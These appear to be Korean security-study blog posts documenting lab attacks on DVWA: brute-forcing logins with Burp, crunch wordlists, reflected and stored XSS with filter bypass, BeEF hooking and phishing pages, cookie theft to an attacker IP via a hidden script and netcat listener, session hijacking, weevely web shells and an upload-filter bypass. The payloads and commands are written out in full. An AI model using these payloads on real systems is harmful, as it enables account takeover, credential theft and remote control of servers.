[사전파일 생성]

mkdir /pentest

cd /pentest

cat > passwordlist.txt

password
Password
Passw0rd
P@ssword
admin
passwordadmin
adminpass

 

 

cat >userlist.txt
root
kevin
pyw
admin
administrator
trump

 

 

 

[메타스플로잇]

1. Brup Start burp를 통해 bruteforce 공격

password 사전파일 로드.
로드된 이미지.

 

 

2. 인터셉트를 키고 로그인.

Clear$를  통해 초록 줄을 삭제.
123만 드래그해서 add$
위와같이 초록줄이 생기면 성공.
스타트를 눌러 공격 시작.
admin에 맞는 비밀번호만 길이가 다르다.

 

 

[id와 패스워드 둘다 모를 때]

Cluster bomb로 변경.
1번째 인자 값은 id이므로 idlist를 로드.
2번째 인자값은 password기에 passwordlist 로드.
길이가 다른 하나가 답이다.

'Web Security' 카테고리의 다른 글

SQL  (4) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
RFI(Remote File Inclusion)  (0) 2019.03.27

 

crunch 1 3 -o text.txt //text.txt파일명으로 1~3자리 영어가 무작위로 생성됨.

 

crunch 3 3 -t a@b -o text.txt  // 첫글자가 a 마지막 글자가 b 가운데 글자만 무작위 생성.

 

 

 

'Web Security' 카테고리의 다른 글

CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
RFI(Remote File Inclusion)  (0) 2019.03.27
LFI(Local File Inclusion)  (0) 2019.03.26

XSS 공격 종류

  • Persistent XSS(stored XSS)  
  • Non-persistent XSS(reflected XSS) 
  • DOM-Based XSS

 

 

[reflected XSS] 

url을 통해 스크립트를 실행시킨다.

 

 

[보안레벨 low]

위의 소스를 바탕으로 하는 실습이다.

 

이소스를 meta에 넣어보면,

<script language="JavaScript">alert ("Welcome");</script> 

 

이런식으로 출력 된다.

 

아래 문장을 실행하게 되면 쿠키값을 볼 수 있게된다.

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie);</script>#

 

www.w3.org사이트로 이동되게하는 스크립트

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.location.href="https://www.w3.org");</script>#

 

 

[보안레벨 medium]

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert("Welcome to the world")+;</script># 

script를 replace하기때문에 실행이 되지 않는다.

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert("Welcome to the world")+;</script>#

따라서 language="JavaScript"를 넣어주면 script만 필터링하던 값을 벗어나게 되므로 실행이 된다.

위에서 했던 쿠키값을 medium난이도에서 보려면 아래와 같이 입력.

http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert(document.cookie);</script>#

 

[보안레벨 high]

모든 url공격이 통하지 않는다. htmlspecialchars가 보호하기 때문이다.

 

 

 

위에는 직접 url에 입력함으로써 취약점을 찾아보았다. 이번엔 프로그램을 사용해서 XSS를 해보겠다.

[BeFF]

  Web UI: http://127.0.0.1:3000/ui/panel 
   Hook:  <script src="http://:3000/hook.js"></script>
 Example: <script src="http://[공격자ip]:3000/hook.js"></script> //공격 코드 

 

 

1.prepare the Script

<script src="http://192.168.232.100:3000/hook.js"></script>  //열린3000포트로 공격

2 BeFF

로그인 기본값 id beef pw beef  

맨처음 이미지.

 

 

3. 

192.168.232.131 //메타스플로잇 ip

192.168.232.140 //칼리 ip
url에 실행.

http://meta/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.232.140:3000/hook.js"></script>#

공격자에게 자신의 ip와 다른 정보들이 들어가게된다.

pretty theft //상대방을 속여서 ip와 pw을 얻는 방법.

공격 대상자에게 페이스북에 관련된 화면이 출력된다 .

 

여기에 공격대상자는 이메일과 password를 입력하게되면,
위의 이미지와 같이 입력된 값이 공격자에게 보이게 된다.


[stored XSS]

 

 

1. 메시지창의 크기를 늘린다.

2. 저장 게시판에 스크립트 저장.

 

게시판에

Name : Admin

Message :

<script src="http://192.168.232.140:3000/hook.js"></script>

스크립트는 화면에 출력되지 않는다.
따라서 View Page Source를 통해 확인해본다. 스크립트가 잘 들어가있는지.

 

3. windows 10 에서 접속.

http://192.168.232.131/dvwa 로 접속

 

Xss  stored를 들어오게 되는 순간, 공격자에게 정보가 들어가게 된다.

4. 피싱사이트

공격자가 띄운 구글화면이다. 이화면에 아이디와 패스워드를 입력하게 되면
이런식으로 입력한 값이 공격자에게 넘어간다.

 

[세션 하이재킹]

 

1. beef로 얻어온 192.168.232.150 의 정보에서 세션을 복사한다.

 4ae7fd30d9efc30d1f105940b7ad4d60

 

2. burp-startburp에서 인터셉스를 키고 meta에 접속 //칼리에서

3. 접속해서 나온 세션 값을 1번의 세션 값과 , 보안 설정을 low로 해야 테스트가 잘되므로, 바꿔준다.

4. 변경한 후, forward를 클릭하면 192.168.232.150의 세션으로 들어가져, 로그인을 하지 않아도 로그인 상태가 된다.

 

[세션 하이재킹의 다른 방법]

 

 

공격대상자가 공격자에게 접속했을 때 쿠키값을 바로 띄우는 코드

 

1. netcat으로 포트 개방

nc -vvlp 80

 

2. 게시글 작성.

Could you help me out? I've got some problems to explore this web site. //아무 평문입력.

<img name='i' width='0' height='0' </img>  //가로 세로 길이를 0으로해 스크립트를 가림.

<script>i.src='http://192.168.232.140/help.php?'+document.cookie</script>//공격자 ip

 

 

스크립트는 보이지 않는다.

3. 공격대상자에서 게시글을 확인.

4. nc에 쿠키값이 들어온 것을 확인.

5. 첫번째에 했던 방법대로 burp-startburp 에서 인터셉트를 키고 세션값을 바꿔 forward한다.

PHPSESSID를 탈취한 세션값으로 변경.

 

6. 세션을 탈취해 아래와 같이 로그인을 하지 않고 로그인이 된 것을 볼 수 있다.

 

 

 

[weevely]

web shell 만드는 툴

weevely generate 1234 ./shell.php    //shell.php로 생성 1234는 비번

생성된 web shell의 값

 

1.  만든 쉘을 업로드를 한다.

업로드 성공한 화면.

2. 쉘이 세션을 탈취.

weevely http://meta/dvwa/hackable/uploads/shell.php 1234 

탈취에 성공한 모습.

 

[url을 통해 shell적용]

1. weevely generate 1234 ./shell-1.php    //생성

vi shell-1.php 

맨밑에 

system($system($_GET['cmd']); 추가

 

2. shell-1.php  업로드

3. url을 통해 직접 입력.

http://meta/dvwa/hackable/uploads/shell-1.php?cmd=cat%20/../../../../etc/passwd

cmd문장을 추가했기때문에 cat명령을통해 화면에 출력된다.

 

 

[php 업로드 안되는 것을, 업로드하는법]

 

1. php가 업로드가 안되는 화면.

2. php를 jpg로 변환해서 업로드.

3.burp-start burp를 통해 jpg를 php로 변환해서 업로드.

jpg를 php로 변환

 

jpg로 올린것을 php로 변환해 업로드가 된것을 확인할 수 있다.

'Web Security' 카테고리의 다른 글

brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02
RFI(Remote File Inclusion)  (0) 2019.03.27
LFI(Local File Inclusion)  (0) 2019.03.26
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25

+ Recent posts